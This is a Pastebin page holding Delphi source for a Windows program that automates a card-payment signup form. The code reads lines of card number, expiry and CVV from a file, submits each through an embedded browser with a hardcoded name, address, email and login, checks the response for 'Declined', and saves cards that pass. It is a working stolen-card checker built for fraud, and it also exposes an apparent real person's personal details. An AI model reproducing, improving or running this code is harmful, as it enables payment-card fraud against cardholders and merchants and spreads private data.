Advertisement
Guest User

Source

a guest
Nov 24th, 2014
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.68 KB | None | 0 0
  1. unit Unit1;
  2. {$WARNINGS OFF}
  3. {$HINTS OFF}
  4.  
  5. interface
  6.  
  7. uses
  8. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  9. Dialogs, ComCtrls, StdCtrls, OleCtrls, SHDocVw, ExtCtrls, XPMan;
  10.  
  11. type
  12. TForm1 = class(TForm)
  13. WebBrowser1: TWebBrowser;
  14. Button1: TButton;
  15. Memo1: TMemo;
  16. Button2: TButton;
  17. Memo2: TMemo;
  18. OpenDialog1: TOpenDialog;
  19. SaveDialog1: TSaveDialog;
  20. ProgressBar1: TProgressBar;
  21. Button3: TButton;
  22. Timer1: TTimer;
  23. Edit4: TEdit;
  24. novacc: TEdit;
  25. cvv: TEdit;
  26. anoval: TEdit;
  27. mesval: TEdit;
  28. numerocc: TEdit;
  29. Timer2: TTimer;
  30. Timer3: TTimer;
  31. Timer4: TTimer;
  32. Timer5: TTimer;
  33. Timer6: TTimer;
  34. Memo3: TMemo;
  35. salvacc: TTimer;
  36. proximacc: TTimer;
  37. Edit1: TEdit;
  38. Timer7: TTimer;
  39. Timer8: TTimer;
  40. finaliza: TTimer;
  41. GroupBox1: TGroupBox;
  42. GroupBox2: TGroupBox;
  43. Panel1: TPanel;
  44. XPManifest1: TXPManifest;
  45. procedure Button1Click(Sender: TObject);
  46. procedure Button2Click(Sender: TObject);
  47. procedure Button3Click(Sender: TObject);
  48. procedure Timer1Timer(Sender: TObject);
  49. procedure WebBrowser1DownloadBegin(Sender: TObject);
  50. procedure WebBrowser1DownloadComplete(Sender: TObject);
  51. procedure WebBrowser1ProgressChange(Sender: TObject; Progress,
  52. ProgressMax: Integer);
  53. procedure Timer2Timer(Sender: TObject);
  54. procedure Timer3Timer(Sender: TObject);
  55. procedure Timer4Timer(Sender: TObject);
  56. procedure Timer5Timer(Sender: TObject);
  57. procedure Timer6Timer(Sender: TObject);
  58. procedure salvaccTimer(Sender: TObject);
  59. procedure proximaccTimer(Sender: TObject);
  60. procedure WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch;
  61. var Cancel: WordBool);
  62. procedure Timer7Timer(Sender: TObject);
  63. procedure Timer8Timer(Sender: TObject);
  64. procedure finalizaTimer(Sender: TObject);
  65.  
  66. private
  67. FDownCount: Integer;
  68. public
  69. { Public declarations }
  70. end;
  71.  
  72. var
  73. Form1: TForm1;
  74.  
  75. implementation
  76.  
  77. {$R *.dfm}
  78.  
  79. procedure TForm1.Button1Click(Sender: TObject);
  80. begin
  81. if opendialog1.Execute then begin
  82. Memo1.Lines.LoadFromFile(opendialog1.FileName);
  83. end;
  84. end;
  85.  
  86. procedure TForm1.Button2Click(Sender: TObject);
  87. begin
  88. if savedialog1.Execute then begin
  89. Memo2.Lines.SaveToFile(savedialog1.FileName);
  90. end;
  91. end;
  92.  
  93. procedure TForm1.Button3Click(Sender: TObject);
  94. begin
  95. timer1.enabled:=true;
  96. end;
  97.  
  98. procedure TForm1.Timer1Timer(Sender: TObject);
  99. var
  100. Lineb, Colunb:TStringList;
  101. r,t:integer;
  102. begin
  103. novacc.text:= memo1.lines[0];
  104. Lineb := TStringList.Create;
  105. Colunb := TStringList.Create;
  106. try
  107. Lineb.text := (NovaCC.text);
  108. for r := 0 to Pred(lineb.Count) do
  109. begin
  110. Colunb.text := StringReplace(lineb.Strings[r],';',#13,[rfReplaceAll]);
  111. for t := 0 to Pred(Colunb.Count) do
  112. begin
  113. NumeroCC.text := (Colunb.Strings[0]);
  114. MesVal.text := (Colunb.Strings[1]);
  115. anoVal.text := (Colunb.Strings[2]);
  116. cvv.text := (Colunb.Strings[3]);
  117. timer8.enabled:=true;
  118. timer1.Enabled:=false;
  119. end;
  120. end;
  121. finally
  122. Lineb.Free;
  123. Colunb.Free;
  124. end;
  125. end;
  126.  
  127. procedure TForm1.WebBrowser1DownloadBegin(Sender: TObject);
  128. begin
  129. Inc(FDownCount);
  130. Progressbar1.Position:=0;
  131. edit4.Text:= ('Version');
  132. end;
  133.  
  134. procedure TForm1.WebBrowser1DownloadComplete(Sender: TObject);
  135. begin
  136. Dec(FDownCount);
  137. Progressbar1.Position:=100;
  138. edit4.Text:= ('balela');
  139. end;
  140.  
  141.  
  142.  
  143.  
  144. procedure TForm1.WebBrowser1ProgressChange(Sender: TObject; Progress,
  145. ProgressMax: Integer);
  146. begin
  147. if (ProgressMax > 0) and (Progress > 0) and (FDownCount > 0) then
  148. begin
  149. Progressbar1.Position:=Trunc(Progress / ProgressMax) * 100;
  150. Progressbar1.Update;
  151. Sleep(100);
  152. Application.ProcessMessages;
  153. end;
  154. end;
  155.  
  156.  
  157. procedure TForm1.Timer2Timer(Sender: TObject);
  158. begin
  159. webbrowser1.Silent:=true;
  160. webbrowser1.Navigate('https://bill.ccbill.com/jpost/signup.cgi?'+'clientAccnum=943469&clientSubacc=0000&formName=146cc');
  161.  
  162. timer3.enabled:=true;
  163. timer2.enabled:=false;
  164. end;
  165.  
  166. procedure TForm1.Timer3Timer(Sender: TObject);
  167. begin
  168. if edit4.Text = ('balela') then
  169. begin
  170. timer4.Enabled := True;
  171. timer3.Enabled := False;
  172. end;
  173. end;
  174.  
  175. procedure TForm1.Timer4Timer(Sender: TObject);
  176. begin
  177. webBrowser1.OleObject.Document.all.Item('credit_card', 0).value := numerocc.Text;
  178. webBrowser1.OleObject.Document.all.Item('cvv2', 0).value := cvv.text;
  179. webBrowser1.OleObject.Document.all.Item('exp_month', 0).value := mesval.text;
  180. webBrowser1.OleObject.Document.all.Item('exp_year', 0).value := anoval.Text;
  181. webBrowser1.OleObject.Document.all.Item('name_on_card', 0).value := 'CARLOS EDUARDO BRAGA';
  182. webBrowser1.OleObject.Document.all.Item('address1', 0).value := 'R JOSEFINA MORETTI 53';
  183. webBrowser1.OleObject.Document.all.Item('city', 0).value := 'SAO PAULO';
  184. webBrowser1.OleObject.Document.all.Item('zipcode', 0).value := '05848-060';
  185. webBrowser1.OleObject.Document.all.Item('country', 0).value := 'BR';
  186. webBrowser1.OleObject.Document.all.Item('email', 0).value := 'jurimecarioga@hotmail.com';
  187. webBrowser1.OleObject.Document.all.Item('username', 0).value := '6653B979';
  188. webBrowser1.OleObject.Document.all.Item('password', 0).value := '16112014';
  189. webBrowser1.OleObject.Document.all.Item('submitComplete', 0).click;
  190. timer5.enabled:=true;
  191. timer4.enabled:=false;end;
  192.  
  193. procedure TForm1.Timer5Timer(Sender: TObject);
  194. begin
  195. if edit4.Text = ('balela') then
  196. begin
  197. timer7.Enabled := True;
  198. timer5.Enabled := False;
  199. end;
  200. end;
  201.  
  202. procedure TForm1.Timer6Timer(Sender: TObject);
  203. var
  204. s: String;
  205. i1, i2: Integer;
  206. begin
  207. Memo3.Text := WebBrowser1.OleObject.Document.documentElement.innerText;
  208. i2 := -1;
  209. s := memo3.lines.Text;
  210. i1 := Pos(LowerCase('Declined'), LowerCase(s));
  211. if i1 = 0 then
  212. salvacc.Enabled := true else
  213. while i1 > 0 do
  214. begin
  215. i1 := Pos(LowerCase('Declined'), LowerCase(s));
  216. delete(s, i1, Length('Declined'));
  217. Inc(i2, 1);
  218. if i2 > 0 then
  219. proximacc.Enabled := true;
  220. timer6.Enabled := False;
  221. end;
  222. end;
  223.  
  224.  
  225. procedure TForm1.salvaccTimer(Sender: TObject);
  226. begin
  227. timer6.Enabled := False;
  228. memo2.Lines.add(novacc.Text);
  229. memo1.Lines.Delete(0);
  230. memo1.Lines.SaveToFile('lista.txt');
  231. memo2.Lines.SaveToFile('infos.txt');
  232. edit4.Text:= 'Version';
  233. numerocc.Text:= edit1.Text;
  234. novacc.Text:= edit1.Text;
  235. mesval.Text:= edit1.Text;
  236. anoval.Text:= edit1.Text;
  237. cvv.Text:= edit1.Text;
  238. timer1.Enabled:=true;
  239. salvacc.Enabled:=false;
  240. end;
  241.  
  242. procedure TForm1.proximaccTimer(Sender: TObject);
  243. begin
  244. memo1.Lines.Delete(0);
  245. memo1.Lines.SaveToFile('lista.txt');
  246. memo2.Lines.SaveToFile('infos.txt');
  247. edit4.Text:= 'Version';
  248. numerocc.Text:= edit1.Text;
  249. novacc.Text:= edit1.Text;
  250. mesval.Text:= edit1.Text;
  251. anoval.Text:= edit1.Text;
  252. cvv.Text:= edit1.Text;
  253. timer1.Enabled:=true;
  254. proximacc.Enabled:=false;
  255. end;
  256.  
  257. procedure TForm1.WebBrowser1NewWindow2(Sender: TObject;
  258. var ppDisp: IDispatch; var Cancel: WordBool);
  259. begin
  260. cancel:=true;
  261. end;
  262.  
  263. procedure TForm1.Timer7Timer(Sender: TObject);
  264. begin
  265. if edit4.Text = ('balela') then
  266. begin
  267. timer6.Enabled := True;
  268. timer7.Enabled := False;
  269. end;
  270. end;
  271.  
  272. procedure TForm1.Timer8Timer(Sender: TObject);
  273. var
  274. s: String;
  275. i1, i2: Integer;
  276. begin
  277. i2 := -1;
  278. s := novacc.text;
  279. i1 := Pos(LowerCase(';'), LowerCase(s));
  280. if i1 = 0 then
  281. finaliza.Enabled := true else
  282. while i1 > 0 do
  283. begin
  284. i1 := Pos(LowerCase(';'), LowerCase(s));
  285. delete(s, i1, Length(';'));
  286. Inc(i2, 1);
  287. if i2 > 0 then
  288. timer2.Enabled := true;
  289. timer8.Enabled := False;
  290. end;
  291. end;
  292.  
  293. procedure TForm1.finalizaTimer(Sender: TObject);
  294. begin
  295. timer8.Enabled := False;
  296. form1.Caption:='ACABOU';
  297. finaliza.enabled:=false;
  298. end;
  299.  
  300. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement